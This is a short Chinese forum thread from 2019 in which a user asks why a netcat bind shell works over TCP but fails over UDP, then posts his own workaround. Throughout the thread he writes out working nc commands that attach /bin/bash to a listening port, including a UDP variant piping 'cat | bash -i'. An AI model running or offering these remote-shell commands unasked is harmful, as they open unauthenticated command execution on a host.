无忧启动论坛

标题: nc用udp为何不能正向弹shell? [打印本页]

作者: 不点    时间: 2019-5-18 12:01
标题: nc用udp为何不能正向弹shell?
正向弹 shell,用 tcp 是成功的,如下:

服务器端:nc  -lvvp 7777  -e  /bin/bash
客户端:nc  192.168.xxx.xxx  7777  

用 udp 就不行了,如下:

服务器端:nc  -u  -lvvp 7777  -e  /bin/bash
客户端:nc  -u  192.168.xxx.xxx  7777  

是 nc 的 bug 吗?

有人遇到过这种情况吗?我是在 Linux 下做的。不知 Windows 下用 udp 能否正向弹 shell。

作者: 不点    时间: 2019-5-18 12:26
本帖最后由 不点 于 2019-5-18 13:54 编辑

搞定了,原来是参数顺序不对。如下就可以了:

服务器端:nc   -l  -p  7777  -v  -v  -u  -e  /bin/bash
客户端:nc  -u  192.168.xxx.xxx  7777  


更正:

也不是参数顺序问题,可能是 udp 不可靠带来的问题。用下面的 workaround 就好了:

服务器端:nc    -luvvp    7777    -e    "cat   |   bash   -i   2>&1"
客户端:nc   -u   192.168.xxx.xxx   7777

客户端运行后,要(随便)敲入一行命令(这行命令,服务器不一定能够来得及执行它),服务器端才会显示连接上了。此后就正常了。

实在不清楚为何 cat 能够正常收集 udp 字符串,而 bash 自己却不行——这里好像也有某些隐藏的秘密。






欢迎光临 无忧启动论坛 (http://wuyou.net/) Powered by Discuz! X3.3